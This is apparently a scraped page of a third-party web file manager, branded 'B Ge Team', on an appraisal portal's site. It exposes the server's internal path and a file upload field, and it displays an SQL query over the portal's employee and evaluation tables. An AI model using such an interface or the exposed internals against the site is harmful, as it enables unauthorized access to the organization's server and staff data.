B Ge Team File Manager

Current Path : /mnt/stor11-wc2-dfw1/480366/480602/www.appraisal.poornima.org/web/content/
Upload File :
Current File : /mnt/stor11-wc2-dfw1/480366/480602/www.appraisal.poornima.org/web/content/query.txt

select emp_id,emp_name,emp_email,a.rep,b.rev,c.rep,d.rev
from `EMPLOYEES`
left join (select eval_sel_emp_id,emp_name as rep from EMPLOYEES JOIN EVALUATION_SELECTION on eval_sel_emp_rep_id=emp_id WHERE eval_sel_role_id IN(1,7,8,9)) as a on a.eval_sel_emp_id=emp_id
left join (select eval_sel_emp_id,emp_name as rev from EMPLOYEES JOIN EVALUATION_SELECTION on eval_sel_emp_rev_id=emp_id WHERE eval_sel_role_id IN(1,7,8,9)) as b on b.eval_sel_emp_id=emp_id
left join (select eval_sel_emp_id,emp_name as rep from EMPLOYEES JOIN EVALUATION_SELECTION on eval_sel_emp_rep_id=emp_id WHERE eval_sel_role_id IN(2,4,10)) as c on c.eval_sel_emp_id=emp_id
left join (select eval_sel_emp_id,emp_name as rev from EMPLOYEES JOIN EVALUATION_SELECTION on eval_sel_emp_rev_id=emp_id WHERE eval_sel_role_id IN(2,4,10)) as d on d.eval_sel_emp_id=emp_id

B Ge Team File Manager Version 1.0, Coded By Little Wei
Email: null Poornima Appraisal

Online Appraisal Portal